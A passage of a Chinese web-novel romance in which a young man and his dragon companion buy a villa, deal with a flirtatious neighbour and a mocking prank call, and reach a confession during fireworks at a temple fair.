他瞄了眼宴氿,某人硬是拖到现在也没什么行动,不会是打算就这么稀里糊涂的处下去。 陶清观蹙眉,拿不准宴氿是个什么想法。 “好吃吗?”宴氿出声问道。 陶清观回过神,回答道:“好吃,就是量有点多,我分了点给陆满满,你要是介意,我下次就不给他吃了。” “一点饭菜而已,无所谓。”宴氿瞥向陶清观,说道:“你中午就和陆满满一起吃的?” “嗯。”陶清观不假思索,“我基本都和陆满满在科室吃饭,偶尔会去一两次食堂。” 宴氿一秒猜到陶清观不去食堂的原因,“食堂难吃?” 陶清观表情一言难尽,“何止是难吃。”简直跟徐婉晴有得一拼,那营养餐真就只顾营养,做得跟中药似的。 宴氿勾起唇角,“明天我也给你做午饭。” “……行,只要你不嫌麻烦。”陶清观多看宴氿一眼,初学者总是容易上头,他理解。 陶清观开着带着宴氿去看房子。 房东是对上年纪的小夫妻,他们儿子儿媳在国外,想把二老接过去照顾,所以刚装修好没多久的房子就空了下来。 因为着急处理,房东对待陶清观和宴氿的态度很友善,再加上价格合适,陶清观看了一圈,觉得没问题后,就将房子定下来。 送走房东,陶清观站在别墅二楼的小阳台上,对宴氿招手,“我觉得那块花坛里挺适合种菜,旁边还能栽几颗果树,每年都有果子吃。” 宴氿嗯了一声,眉眼柔和下来,陶清观说的是有他参与的未来。 就在这时,院外的门铃响起。 从阳台的角度正好能看见,是个穿着成熟的漂亮女性。 宴氿笑意瞬间收敛,这个类型,是陶清观喜欢的那种。 第85章 第 85 章 诈骗电话/告白 陶清观下楼开门, 礼貌开口,“请问有什么事吗?” 女人看到陶清观明显愣了一下,她瞥了眼旁边的门牌号, 确认自己没有走错, 迟疑着开口:“你好,你是这家户主的儿子吗?” “不是。”陶清观解释道:“我买了这栋别墅, 原户主刚走,你有事找他们吗?” 女人拿出手中的书,说道:“嗯, 之前跟他们借的书,我今天收拾屋子的时候才发现。” “他们明早还会来一趟。”陶清观开口道:“你可以提前跟他们联系一下。” “好,谢谢。”女人冲陶清观笑笑,说道:“我就住在隔壁,你刚搬过来, 有什么不懂的可以找我。” 原来是邻居。 陶清观回以微笑,“那就麻烦你了。” “怎么了?”宴氿的声音从后边传来,他踱步走到陶清观身旁, 视线扫过面前的女人。 “房间看完了?”陶清观偏过头, 说道:“她来找原房主换东西,我跟她说了明天来。” 宴氿嗯了一声, 礼貌性地说了句你好。 自打宴氿来, 女人的视线没挪开,直到宴氿说话, 她匆匆移开目光, 两手交握在身前,低下头道:“你好。” 陶清观视线在两人身上游移,心中生出一种微妙的感觉, 他看了眼宴氿的脸,长得人模狗样,勉勉强强吧。 他在心底撇嘴,面上神色不变。 女人态度明显热情许多,开口道:“我们加一下联系方式,我把业主群推给你,还有保安亭的联系电话,有大件快递拿不进来,可以让他们帮忙。” “行。”陶清观拿出手机,他察觉到女人偷瞄宴氿的视线,心底轻啧一声,怕是醉翁之意不在酒。 就在他准备扫女人的好友码时,一旁的宴氿突然挤过来,抢先他一步把码扫了。 宴氿添加完好友,对陶清观道:“你上班忙,这些琐事由我处理就行。” “……哦。” 陶清观眨眨眼,感觉今天的宴氿奇奇怪怪。 女人没想到有意外之喜,脸上的笑容越发真切,“你们是兄弟吗?长得不怎么像,但都很帅。” 陶清观刚想回答,宴氿半个身子挡在他身前,开口道:“不是。” “那就朋友吧。”女人顺着话题往下聊,“最近也挺流行合租的,你们什么时候搬过来,需要的话,我可以来帮忙,我对这一带比较熟悉。” 宴氿:“不用,不麻烦你了。” 陶清观看着宴氿的背影,若有所思,他往旁边挪了一步,脑袋还没探出去,宴氿又跟上来将他挡住,陶清观再挪,宴氿跟。 他闷声笑着,还想再挪,手腕却被宴氿握住,陶清观扭了下手腕没扭动,他眉尖上挑,对着宴氿腰后边戳下去。 宴氿身子微不可查地一僵,他面上不显,客气道:“我们还有事要忙,再见。” “好。”女人笑容温温柔柔,她两手交握着胸前的书,说道:“有问题尽管发消息问我,拜拜。” 她向宴氿挥挥手,转身离去,看方向正好是隔壁的房子。 陶清观还没看两眼,面前突然多出一个人。 宴氿杵在那,笑容假惺惺的,“好看?” “嗯,好看。”陶清观勾起唇角,故意停顿了一下,在宴氿变脸前,接着道:“别墅附近绿化都挺漂亮。” 宴氿神色一怔,“绿化?” 陶清观挑眉,反问道:“不然呢?” 他抬手拍拍宴氿的肩膀,开口道:“过来帮我量尺寸,得先把家具买好。” 宴氿抬脚跟上,他瞥着在屋里忙活的陶清观,余光扫过对方白皙的颈脖,他知晓那一处的肌肤柔软细腻,想让人在其上留下深色的痕迹。 舌尖抵着犬齿,轻微的刺痛唤回神志,宴氿移开目光,将卷尺交到陶清观手上。 “60*150,你拿备忘录记一下。”陶清观踮着脚去侧高度,动作间衣服卷上去,露出一截腰肢,他只觉得腰间一凉,然后衣服就突然被拽了一下。 回过头,陶清观发现宴氿拉着自己的衣服,好好的衣摆,给扯到臀部下边,他转过身,“你干什么?” 陶清观领口被扯下一大截,精致的锁骨和雪白的胸膛裸露在外。 宴氿瞳孔骤缩,他松开手,帮陶清观整理好的衣服,说道:“我来量。” 手里的卷尺被抢走,陶清观站在一旁,看着忙上忙下的宴氿,摸不着头脑。 果然很奇怪。 两人一直忙到快八点,才往家赶。 到家时,陶清观咦了一声。 宴氿问道:“怎么了?” 陶清观回答道:“昨天这时候我手机没电关机了,我都打算换手机了,没想到今天居然还剩百分之四十的电。” “可能电池有问题,有空去换个新的。”宴氿没把这件事放心上,他开口道:“我去开热水器,谁先洗澡。” “你先。” 陶清观往沙发上一倒,众所周知,软绵绵的东西是很恐怖的,他被沙发绑架了。 宴氿路过摊成一团陶清观,到阳台上拿衣服,他将口袋里的东西放在茶几上,开口道:“洗完澡再睡,别睡着了。” 陶清观有气无力,“哦。” 他抱着靠枕,侧着脑袋压在上边,陶清观蹭了两下靠枕,发出一声喟叹,靠枕得带走,毛毯也得带,还有他床上的大白鹅。 嘿嘿嘿,作为一个合格的皇帝,他绝对不会忘记他的肱股之臣们,周末就找搬家公司。 陶清观舒展了下身子,忽然他听见一声震动,转过头,发现是宴氿的手机在响,陶清观发誓他没有偷看的意思,是宴氿手机的屏幕正好对着他。 郑妍妮:这周末你们来吗?我打算周六在院子里烧烤,我手艺还是很不错的。 这个名字应该是他们的新邻居。 陶清观脑袋落回靠枕上,他的直觉没错,那位小姐姐真的对宴氿有那方面意思,但宴氿…… 他扯了下嘴角,一时间不知道该同情,还是该笑。 咔哒一声,浴室的门打开,热腾腾的水汽散开。 宴氿穿着睡衣走出来,他从冰箱里拿出一瓶果汁,踱步走到陶清观身旁,催促道:“快去洗澡。” “哦。”陶清观爬起来收拾衣服,进浴室前,他不忘跟宴氿支会一声,“今天认识的邻居给你发了消息。” 宴氿瞬间警觉,“你这么在意她做什么?” 陶清观闻言,反手将浴室的门关上。 这条龙,没救了。 接下来几天,陶清观一边忙着网购,一边将家里的东西打包分类,往别墅寄。 这时候高档别墅区的优质服务就体现出来,只要他说一声,再将院子钥匙留在门卫那,门卫就会将快递打包运过去,省去不少功夫。 当然,这点是郑妍妮告诉他的,对方还告诉他们许多小细节,不管郑妍妮出于什么目的,陶清观都挺感谢对方的,并决定等房子搬好,就请对方吃饭。 时间来到周五。 陶清观照常起床,他从卫生间出来一看,发现宴氿还穿着睡衣,并且早饭也没做,他愣了一下,问道:“你身体不舒服?” 宴氿看着每日新闻,头也不抬地说道:“你是不是忘了今天不上班?” 陶清观脑袋转了几秒,想起他今天调休,并且下午要和宴氿去逛庙会,“是有这么回事,这几天太忙,我都忘了。” 他坐到宴氿旁边,嘟囔道:“所以今天没早饭吗?” 宴氿放下手机,语气有些无奈,“我没想到你今天会早起。” 平常放假,若是没事陶清观至少睡到十点钟,哪会吃什么早饭。 “你想吃什么?”宴氿站起身,问道:“包子,粥,还是面?” 陶清观举手,“面,再加个煎蛋。” “好。” 宴氿熟练地开锅烧水,拉开柜子拿食材。 陶清观跟大爷似的往那一靠,“小氿,不要葱花,不要香菜。” 宴氿:“……好。” 陶清观瞄了眼时间,八点还没到,吃完早饭再回去睡一觉都没问题,他琢磨着怎么打发上午的时间,忽然电话铃声响起。 他循声望去,看见宴氿的手机亮起,好熟悉的剧情,不会是新邻居打来的吧,陶清观摸了摸下巴,对厨房里的宴氿说道:“你手机响了,没备注,不知道是谁。” “可能是特管局的。”宴氿压根没有加备注的习惯,除了陶清观其他人在他这都是一串数字,“你接吧。” 宴氿都这么说了,陶清观拿起手机,按下通话键,他没吭声,等待对面先说话。 “龙王,还记得我吗?” 声音经过特殊处理,听起来粗粝沙哑,但龙王两个字一出,陶清观瞬间坐正。 电话那边的人大概料想过宴氿不会回答,自顾自说了下去,“你的养父一直很挂念你,他不忍你孤立无援,所以将龙鳞交给我们,我们才是同类,你该站在我们这边。” “所谓的契约,不过是人类捆绑你的工具,渺小的人类只有区区百年寿命,最终留在你身边的是我们。” 万恶的寿命论出现了,陶清观在心底唾弃,不知道爱是无敌的么,虽然他也不知道无敌在哪,但动漫里都是这么演的。 对面的明显已经不把自己当人了,陶清观清了下嗓子,开口道:“您好,这里是公安局,我是倪叠,警号:150266,请问您是机主,还是机主的朋友吗?这部手机遗失地点在万象公园的第二个长椅。” 那边瞬间消音,若不是通话时长还在增加,陶清观都要怀疑电话被挂断了。 他等了几秒,接着说道:“我们查到您有三项贷款未还,且已过期限,这里有一份公文需要您过来签一下,不然我们将以涉嫌洗钱的罪名逮捕您。” “不要心存侥幸,我们已通过手机号定位到您现在所在的位置,坦白从宽,抗拒从严。” 电话那边的男人沉默许久,“……我不是机主。” “那你应该是担保人吧。”陶清观一本正经地胡说八道:“或者您的身份证是否有过遗失?机主有一项贷款用的并不是本人的身份证,为安全起见,我们将先锁定您的手机,请您到附近的公安局配合办案。” “我……”男人语噎,后知后觉到事情不对,他语气沉了下来,“你……” 陶清观直接开口打断:“您也可以先缴纳保证金,一共是二百五十万元,在ATM机上直接操作,我稍后将教程和银行卡号发给您,请您耐心等待。” “你耍我!” 不等男人说完,陶清观反手将电话挂断。 想到对面气急败坏的样子,陶清观嘿嘿两声,跟他斗,还嫩了点。 在厨房里的宴氿听着陶清观叽里咕噜一大堆话,他开口问道:“谁打来的?” “一个骗子。”陶清观不以为意地说道:“他馋你身子,想骗你过去干苦力。” “这都什么跟什么。”宴氿听出陶清观在胡扯,但他也没在意,端着面走到餐桌放下,开口道:“过来吃饭。” “来了。” 陶清观见宴氿端来两碗,目露诧异,“你早饭也没吃?” 宴氿是标准的老年人作息,早睡早起,醒来先喝水再吃饭,每次他起来时,宴氿早就把该干的干完了。 “嗯。”宴氿说道:“刚醒来那会儿不饿。” 陶清观哦了一声,探头探脑地望着宴氿,“你很可疑。” 宴氿抵住陶清观凑上来的脑袋,说道:“好好吃饭。” “嘁。”陶清观坐回自己的位置上,把顺手拿来的手机还给宴氿,“喏,按照我的经验,你这两天还会接到骚扰电话。” 宴氿神色淡淡,“嗯。” 陶清观夹起一筷子面晾凉,似意有所指,“解决不了可以找我,直接把电话给我就行。” 宴氿动作微动,抬眸扫过埋头吃面的陶清观,嘴角扬起,“好。” 陶清观的回笼觉最终还是没睡成,宴氿这条老龙一时兴起,非要拉着他品茶。 茶叶这种东西,陶清观真喝不出什么名堂,他坐在客厅打包好的纸箱上,看着宴氿修长的手指翻舞,淡淡的茶香味氤氲开。 陶清观一手托腮,接过宴氿递来的茶,他嗅了一下,问道:“这是什么茶?” “花果茶。”宴氿回答道,他拿起桌上平时用来盛凉水的玻璃水壶,将泡好的茶倒进去,“晾一会儿,可以加冰。” 陶清观喝了一口,甜丝丝的,带着点花果的清香,他眼睛顿时就亮了,“好喝。” 宴氿眉眼柔和,“你喜欢就好。” 陶清观拿着杯子咕嘟咕嘟,喝完他问道:“怎么突然想起泡果茶。” 宴氿一边收拾桌面,一边回答道:“换换口味。” 陶清观感慨:“你还真喜欢泡茶。” “嗯。”宴氿直言不讳,“因为是喜欢的事,所以想和喜欢的人分享。” 第86章 第 86 章 陶清观:刚刚那个是演习…… “嗯。”陶清观大脑慢半拍, 又端起茶喝时他才反应过来不对劲,“嗯?” 陶清观拿着茶的手顿住,他回过头, 目光转向宴氿, “你刚刚说什么?” 宴氿揣着明白装糊涂,“喜欢泡茶。” 陶清观眯起眼眸, 他从纸箱上跳下来,凑到宴氿跟前,“后一句。” 宴氿瞥了陶清观一眼, 气定神闲地继续收拾茶具,“想和你分享。” 意思对了,但这用词可是天差地别。 陶清观盯着宴氿,目光幽幽,见宴氿一心收拾东西, 完全没有在开口的意思,陶清观轻哼一声,撑着桌子站直, “那我就当没听见咯。” 他背过身, 眼眸却悄悄往后瞟,可宴氿屹然不动, 陶清观唇角下压, 他往旁边的沙发上一坐,脚尖低着茶几, 修长的双腿拦在茶几与沙发间的过道上。 茶几后边放满了这两天收拾出来的纸箱, 堆得满满的,宴氿想把茶具放回去,只能走陶清观这。 陶清观双手抱臂, 抛给宴氿一个略带挑衅的眼神。 宴氿眉尖上扬,他拎着茶篮在陶清观身旁站定,“让一下。” 陶清观交叠着双腿将路堵得死死的,全当没听见宴氿的话。 宴氿站了一会儿,但陶清观铁了心‘使绊子’,知道再等下去也没结果,宴氿忽然弯腰勾住陶清观的腿弯。 陶清观直觉事情不妙,立即将腿放下来,可还是迟了一步,宴氿胳膊托起他的大腿,一下子拔高,他要是不想上身翻过去,只能拽住宴氿的衣服。 手忙脚乱地稳住身形,陶清观都快坐宴氿肩膀上了,他一手摁着宴氿的脑袋,抬脚就要踹,但拖鞋先一步掉地,陶清观动作微滞,下一秒还是揣在宴氿腰侧。 宴氿结结实实挨了一下,手上的茶篮都不带晃的,“安分点。” 他大步流星走到厨房,将茶篮放回架子上,另一只手空出来,宴氿抬眸对上陶清观的目光,他勾起唇角,笑道:“你是不是该想想要怎么下来。” 宴氿眼底是明晃晃的调侃,像是要报复陶清观刚刚不让道。 陶清观扯了扯嘴角,皮笑肉不笑地回视宴氿,他伸手要揪宴氿的脸,当宴氿早有预料,一手将陶清观的手桎梏。 宴氿握得很紧,陶清观双手用劲也没挣脱开,反倒手腕被磨红了一圈。 事情发展到这个地步,性质已经变了。 陶清观跟宴氿较上劲,手动不了,就动腿,他勾住宴氿的腰,猛地翻转身子,想反绞,可宴氿下盘太稳,他没把人撂倒,反而把自己翻成一个不利的姿势。 腿曲着的角度不好使劲,陶清观越想越气,他暗自磨牙,哐地一声,脑袋结结实实锤在宴氿额头上。 这一下,陶清观自己撞得都有点眼花,宴氿更是措不及防,向后退了两步,刚好撞到沙发边,脚下一时不稳。 陶清观趁机反制,将宴氿压倒在沙发,他摁着宴氿的小臂,将其背在身后,陶清观跨坐在宴氿后腰上,啪啪拍着宴氿的后背,语气得意,“这不就下来了。” 宴氿气笑了,陶清观打不赢就喜欢用脑袋砸人,简直是伤敌一千,自损八百。 陶清观的重量对他来说不算什么,即使对方坐在身上,宴氿也能将人掀翻,但陶清观显然提前预料到力量的差距。 宴氿刚有动作,陶清观就箍住宴氿的颈脖,若是宴氿执意起身,陶清观就能勒着宴氿的脖子摔下去。 陶清观下手是一点都没留情,见宴氿真能起来,他心底芜湖一声,这腹部的核心力量不错,没有人鱼线也得有几块腹肌,可惜宴氿一直跟黄花大闺女似的,洗个澡都不让看。 他顺着宴氿的力道后仰,正准备滚到地上继续打,但这时他坐到一块稍微软点的地方,陶清观扭头,入眼是宴氿的臀部。 陶清观的表情由O·O,变成=·=。 老龙,你又大意了。 他果断撒开手,以迅雷不及掩耳之势一巴掌打过去,只听啪的一声响,世界都安静了。 陶清观从宴氿身上跳下来,撒开丫子就跑,眼看要跑回卧室,衣领传来一阵拉力,紧接着他就被拽得一个踉跄,后背撞上宴氿的胸膛,陶清观心道一声,要完。 他扭过头,冲宴氿嘿嘿笑笑,试图萌混过关。 宴氿面上红了又黑,宛如打翻的调色盘,他没好气地捏住陶清观的脸颊,揉成各种形状。 陶清观支支吾吾,“尼布要介么小气。” 宴氿反手弹在陶清观脑门上,瞥见旁边刚撞出来的红印子,宴氿手劲又大了点,“我就是小气。” 他拎着陶清观扔回沙发上,摁着陶清观想打人屁股。 陶清观自然是不依,他扭来扭去,滑不溜手,宴氿拿他没辙,索性掐住陶清观的腰……挠痒痒。 腰部正好是陶清观怕痒的地方,这会儿他扭得更得劲了,一边笑,一边求饶,“错了错了,哈哈哈哈哈,下次不敢了。” 宴氿会信陶清观才有鬼,他摁着人一顿蹂躏,陶清观被迫笑了十几分钟,直到陶清观笑没劲了,宴氿才放过陶清观。 陶清观摊在沙发上喘气,小脸笑得通红,他一手掩着额头,有气无力地冲宴氿摆摆手,“不玩了,玩不动了。” 他仿佛看见太奶在冲他招手。 宴氿眸光掠过陶清观殷红的眼尾,又触及白皙的肌肤上蹭处的红痕,他抬手拽住陶清观卷边的衣摆扯平,抚平衣服上的褶皱。 他轻拍了下陶清观,看穿对方的本质,“下次再玩?幼稚。” “哈哈哈哈,再说再说。”陶清观向宴氿伸出手,“拉我一把,起不来。” 宴氿无奈,但还是伸出手,大概是刚运动过,陶清观的掌心暖暖的,像是阳光烘晒后的温暖,而下一秒,小太阳扑向他。 陶清观撞进宴氿怀里,他一条胳膊搭着宴氿的肩膀,另一只手撑在膝盖上,他脑袋靠着宴氿的脑袋,哂笑着:“说我幼稚,你还不是兴致勃勃地陪我玩。” “真没劲了,让我靠会。”陶清观把重量都压在宴氿身上,他拉过宴氿的手握住,眼底笑意清浅,“所以那句话算什么,演习?” 宴氿撇过脸,短暂地沉默片刻,“想看看还会不会有莫名其妙的人出来打断。” 陶清观听到这话,真没忍住,噗嗤一声笑出来,这没得说,宴氿跟犯水逆一样,一到关键时候,总会有各种各样奇怪的事情出现。 宴氿扶住笑得前仰后合的陶清观,他唇瓣微抿,眼底划过一丝纠结,“今天……似乎挺顺利的。” 陶清观歪脑袋,眼神仿佛在问,然后呢? 宴氿移开目光,“提前知道,不就没新鲜感了。” 陶清观抑扬顿挫地哦了一声,他脑袋又歪了点,枕在宴氿肩膀上,“我什么都不知道。” 宴氿唇又抿紧了些,下颌线清晰可见,他抬手按住陶清观的脑袋,胡乱揉了两把对方的头发,“哄小孩呢?” “差不多。”陶清观垂着眼眸,他捏着宴氿的手指,顺着指缝缓缓插进去,却没有收紧,他虚虚地掩着,就像宴氿和他现在的关系。 “反正这样也不错。” 陶清观话音未落,宴氿倏然将手收紧,十指相扣,不留一点缝隙,陶清观怔了一下,然后笑得更大声了。 去庙会的时间定在下午三点,中间空闲的时间陶清观也没闲着,他叫来搬家公司,将家里的大纸箱运往别墅,等着周末过去一起收拾。 所有箱子运完,家里空了一大半,陶清观已经好久没看过这么空旷的家了,他跟宴氿感慨,“这才有点出租屋的感觉,住太久,我都快忘记这是我租的了。” 宴氿道:“那就买下来。” 陶清观摇头,“算了,又不会回来住,摆着也是浪费。” 有钱也不带这么花的,比起买公寓,他更想把钱花在新房子的装修上。 陶清观拱了下宴氿,说道:“那栋别墅,我们大概要住很长一段时间,你找找你喜欢的装修风格,我们慢慢往里面添。” “嗯。”宴氿半靠着墙,心情肉眼可见的愉悦,他偏过头,目光落在陶清观身上,“现在出发?” “走。” 陶清观刚迈出一步,又迟疑,“我是不是该换件衣服?” 宴氿穿着没有商标的高端定制,而他还是那身卫衣加牛仔裤,感觉有那么一点点不搭。 “不用,不过得带件外套,晚上凉。”宴氿拿过挂着的风衣穿上,他顺手拿起陶清观的外套,问道:“现在穿,还是先拿着?” “我穿。”陶清观接过宴氿手中的外套穿好,他吐槽道:“有时候,你是挺适合当爹的。” 宴氿嘴角抽搐,“打住。” 陶清观安慰道:“之前不是流行过那什么爹系男友,你也算赶潮流。” 宴氿蹙眉,“这怎么能混为一谈。” “行叭。”陶清观耸肩,老龙在某些方面意外地开放,比如对伴侣的物种都不作要求,又在某些方面出乎预料地古板,比如——洗澡不给他看。 陶清落后宴氿一步,上下扫视宴氿的背影,今晚回来该给他看了吧。 嘿嘿。 陶清观大步一跨,与宴氿并肩,“特地没吃午饭,就等现在,走快点。” 宴氿嘴上说不着急,但还是和陶清观一同加快脚步。 庙会离家不远,但陶清观想把体力留在逛庙会上,所以选择打车过去。 他们到时,街上到处都是来玩的行人,路两边的小摊早早支起,上边挂着一串串小彩灯,路灯和风景树上挂上了灯笼,可以想象晚上五光十色的风景。 第87章 第 87 章 在一起(上) 陶清观手里拿着糖葫芦, 和宴氿并肩走在人群中,他望着四周,看到卖烤串的摊子, 又乐颠颠地跑过去。 而宴氿手里提着三四个塑料袋, 他跟上去,语气有些无奈, “你吃得完吗?” 逛了还没一半,陶清观光吃的就买了五六种,前面两样倒是吃完了, 后面剩下的都在他手上拎着。 陶清观听到这话,迈出的脚步顿住,他思考了几秒,回头说道:“可以带回家,明天热热再吃。” 但小食热完, 味道跟开盲盒似的,口感也是一言难尽,陶清观犹豫了, 他依依不舍地看了眼肉串, “要不还是……”算了。 “买吧。”宴氿走到摊子前,问道:“想吃哪个?” “牛肉串、年糕、土豆片和鱿鱼。”陶清观即答, 说完他又纠结, “是不是多了点。” 老板大嗓门中充满热情,“不多, 小伙子太瘦了, 该多吃点。” 宴氿认同老板的话,“是瘦了点。”也不知道那么多吃哪去了。 突然躺枪的陶清观:“……” 说得他跟细狗似的。 他瞥向宴氿,这龙骨架子大, 看起来确实比他宽,陶清观比了下自己的肩宽,又瞅瞅宴酒的,也没差太多……大概。 宴氿付完钱就看见陶清观站那比划,他挑眉问道:“怎么了?” “在思考物种间的差异。”视线与宴氿有一瞬间交错,陶清观移开视线,他放下手,决定不为难自己,“有些事是天生的,没办法。” 以他的身材比例,大概这辈子都没法体验传说中的双开门大冰箱了。 宴氿猜到陶清观的心思,“早上出去晨跑,晚上早点睡,调整一下你那阴间的作息,总会有改善。” “那生活还剩什么乐趣。”陶清观婉拒。 摊子上的东西基本都是半成品,没多久老板就烤好了,陶清观接过袋子,和宴氿接着往下逛。 他想吃烤串,这时候手上没吃完的糖葫芦就变得多余,陶清观看看糖葫芦,又看看宴氿。 宴氿注意到陶清观的小眼神,上前附身,就着陶清观的手,咬过剩下的一个糖葫芦,咔嚓嚼碎,他咽下糖葫芦将竹签扔进垃圾桶,见陶清观看着自己,他问道:“你还要吃?” 陶清观下意识退了一步,他摇头,脑袋里冒出一个想法,“说起来你还没吃饭,袋子里的东西你随便吃,别客气。” 宴氿扯了下唇角,“嗯。” 然后,宴氿手上又多出被吃掉一片的土豆片,半串牛肉串,还有个只咬了一口的年糕。 陶清观盯着宴氿的腹部看,想到一个特别的角度,“你现在的饭量是按照正常人类来算,还是你原本的形态算?” 按照龙形态的话,他岂不是能把小吃街从头到尾吃一遍,这个吃指他尝个味道,宴氿负责扫尾。 宴氿把东西拿到一只手上,抬手大力揉了下陶清观的脑袋,“别得寸进尺。” 陶清观:D 话虽这么说,宴氿还是吃完了陶清观递来的东西。 陶清观两手空空,一身轻松,东西吃够了,他看上开射击游戏的摊子。 奖品整齐的放在货架上,旁边的牌子上写着十元三次,物品倒下即可拿走。 陶清观一眼相中最高处那条龙,盘得跟懒羊羊发型一样,有品位。 他撸起袖子,对宴氿道:“看我给你拿回来。” 宴氿沉默不语,他可没说自己想要。 陶清观付完钱,拿起桌上的qiang,他瞄准龙身,潇洒利落地扣下扳机,橡胶子弹蹭着龙角飞出去,弹到墙上,最后掉在地上。 他轻咳一声。 “失误,下一发肯定中。”陶清观甩了甩手,这次他闭上一只眼,仔细调整角度,子弹咻一下飞出去,又双叒叕蹭过龙身掉下来。 一连两次都没成功,这让想在宴氿面前大显身手的陶清观有些尴尬,他唇瓣微抿,蹙着眉准备射最后一发,这时宴氿忽然从背后将他搂住。 陶清观身体一僵,然后肩膀就被摁住。 “放松,胳膊抬高一点。”宴氿拖起陶清观的小臂,开口道:“前面往下压。” “这支qiang校准不太好,要往左边偏一点。” 在宴氿的指导下,陶清观逐渐放松,他心底诧异,“你居然懂这些。” “以前好奇qiang的威力,所以研究过一段时间。”宴氿淡淡道。 他口中的qiang,指的自然是真qiang。 宴氿松开手,开口道:“差不多这个角度。” 他话音落下,陶清观就扣下扳机,只听啪地一声,子弹击中龙头,那条盘在一起的龙从架子上掉了下来。 “恭喜。”老板上前捡起玩偶,递给陶清观,“小伙子还玩吗?” “不……” “再来三发。”宴氿抢先一步开口。 老板笑着说好,又拿了三发子弹过来。 陶清观准备让开位置,“你要玩?” “你来。”宴氿挡住陶清观,他指着另一个架子上的玩偶,说道:“打那个。” 陶清观望过去,宴氿说的也是一条龙形玩偶,但这一只明显可爱许多,大大的脑袋,圆溜溜的眼睛,短短的身子,就连龙角都是圆润的弧形,陶清观不由调侃道:“看不出来啊,原来你喜欢可爱的。” 宴氿眼底藏着笑意,“嗯。” “好,我来。”陶清观重新拿起枪,可下一秒宴氿又贴在他身后,陶清观稍微往前挪了点,开口道:“我自己可以。” “出来后你就没正眼看过我。”宴氿冷不丁地开口,语气笃定,“在紧张?” 陶清观握着qiang的手收紧,他缓缓呼出一口气,控制着身体放松下来,“……可能是有那么一点。” 有些事即使现在知道会发生,那份期待感也并未减弱,反倒心底冒出无数种猜想,乱七八糟的画面填满脑袋,连忽视都做不到。 他本以为自己能维持着风轻云淡的模样到最后,看来他还是高看自己了。 宴氿勾起唇角,他覆上陶清观的手背,抬起qiang口,对准那条胖乎乎的龙扣下扳机,随着声音响起,他开口道:“我能体会,因为我也一样。” 陶清观眼眸微睁,瞳孔中倒影着掉落的玩偶,在玩偶落地的那一刻,宴氿也放开他。 “烟花表演快开始了,上山吧。”宴氿牵住陶清观的手。 “……嗯。” 陶清观拎起桌上两条龙,跟上宴氿的脚步。 老板在后边喊道:“还有两发呢。” “不用了。”陶清观匆匆回答,他垂下眼眸望着与宴氿交握的手,心跳声似在鼓膜回响。 大概是因为刚刚跑了两步。 陶清观紧挨着宴氿,挤入人潮中。 山顶是最好的观景点,所以这时上山的人源源不断,但说是山,其实就是个小土坡,爬到顶连半个小时都用不了。 陶清观踩在石阶上,在他前面是望不到头的队伍,谈话声,嬉戏声,混杂在一起,整座山都热闹起来。 平常凑个热闹陶清观还挺开心的,但现在,他心底咯噔一声。 宴氿不会想学整电视剧上的那出,在什么烟花绽放的时刻,掏出花束,啪唧跪下,高声大喊‘我爱你,请和我交往’之类的话。 然后围观人群跟着起哄,一旦他答应,全场就会响起‘亲一个’的口号。 这简直是社死的最高境界。 他一直不太能理解为什么要在人群密集的告白,或者求婚,若是提前商量好的还好,这要是没商量过,那周围的起哄声对于被动的那个人,无疑是加上压力,很可能迫于情形答应下来。 更何况也不是每个人都想凑热闹,闹开肯定会妨碍到路人。 扯远了。 陶清观收回发散的思绪,对身旁的宴氿说道:“要不我们找个人少的地方停下?山顶肯定人挤人,上去也不知道是看烟花,还是看后脑勺。” “放心。”宴氿抽到陶清观耳边,低声道:“我已经提前找好地方了。” 热气喷洒在耳廓,陶清观脖子往后缩了缩,他小声嘀咕,“你最好是。” 前方传来宴氿的轻笑,陶清观耳尖发热,他唇瓣抿动,将外套的拉链拉到顶端,竖起的衣领挡住他小半张脸,却遮不住脸颊处的红晕。 宴氿口中的地方是在一条岔路后,有热心游客跟他们说那条路不通,陶清观谢过对方后,跟宴氿毅然决然地走上‘绝路’。 看着面前的游客止步,陶清观有些犹豫,“真能进去?” “嗯。”宴氿绕过牌子,“景区的人知道,他们大概提前布置过,跟我来。” 这里被围住的原因是前几天下了场大雨,山体有些松动,为防止意外发生,放置了牌子,但这点小问题显然对宴氿没影响,他让特管局的人出面,很轻易就获得了准许进入的权利。 小路狭窄,陶清观走在宴氿身后,拐过面前的弯,入眼是一处小平台,平台上放置着长椅,草丛中的小夜灯散发着微弱的光。 陶清观刚要走过去,天空倏然被照亮,烟花绚烂绽放,细碎的光点如流星雨般坠落,紧接着又是一声响起,夜空像是画卷一般,颜色的色彩在其上晕染开。 烟花表演开始了。 第88章 第 88 章 在一起(下) “居然是这种规模的烟花秀。” 陶清观站在围栏前, 仰头望着绽放的烟花,漆黑的瞳孔中闪烁着细碎的星光,如银河肆意流淌。 光影如潮汐交替, 千万朵烟花竞相盛放, 拖尾似瀑布倾泻而下,银白色的火光点燃天空, 化作漫天流萤。 陶清观双手撑着栏杆,蓦然回首,他唇角扬起, 笑意盎然,“很漂亮啊。” “嗯。”宴氿眼底只有陶清观的身影,他走到陶清观身旁,眸光柔和,“听说这里每年都会结成许多情侣。” 陶清观拖长尾音嗯了一声, 他重新靠回栏杆上,歪脑袋望着宴氿,“听谁说的?” 宴氿莞尔:“卖东西的热心市民。” 他话音未落, 烟花又一次在天空绽放, 湛蓝的拖尾与银白的前端缠绕,汇聚成迤丽的色彩。 宴氿放在围栏上的手收紧, 要说的话已经在脑海中划过千万遍, 可真要说出口时,紧张感依旧涌上心头。 他移开视线, 薄唇轻启, “一开始,我来岸上只是为了打发时间,海底的生活太过无趣, 而人类这些年又折腾出不少有意思的东西,我便想着上来看看。” “而你爷爷发现我的存在,主动与我接触,才有了后面的契约。”宴氿看着远处的盛放的烟花,目光飘忽没有聚焦,“一切都是偶然,结果又好像是必然。” “我走过太多岁月,久到连自己的年龄都记不清,我以为我早已习惯那样的生活,但其实不过是无可奈何。” 宴氿顿了一下,他转过头,望着陶清观,眉眼微弯,“我不厌恶人类,也算不上喜欢,但你不一样,你比我见过的所有人都要纯粹。” 陶清观本来是在静静地听,可听到这多少有点没绷住,“纯粹?我吗?” 宴氿笑了,爽朗的笑声在平台上回响,“你想想和我契约后,你让我做过些什么?” “呃……”陶清观双手抱臂,蹙起眉心,“家务?” 宴氿轻叹一声,“其他人巴不得借用我获得名声、地位,而你,最急的一次,也就是让我帮你带夜宵。” 陶清观小声嘀咕,“人总是要吃饭的。” “嗯。”宴氿眼底的笑意晕染开,“下次还给你带。” 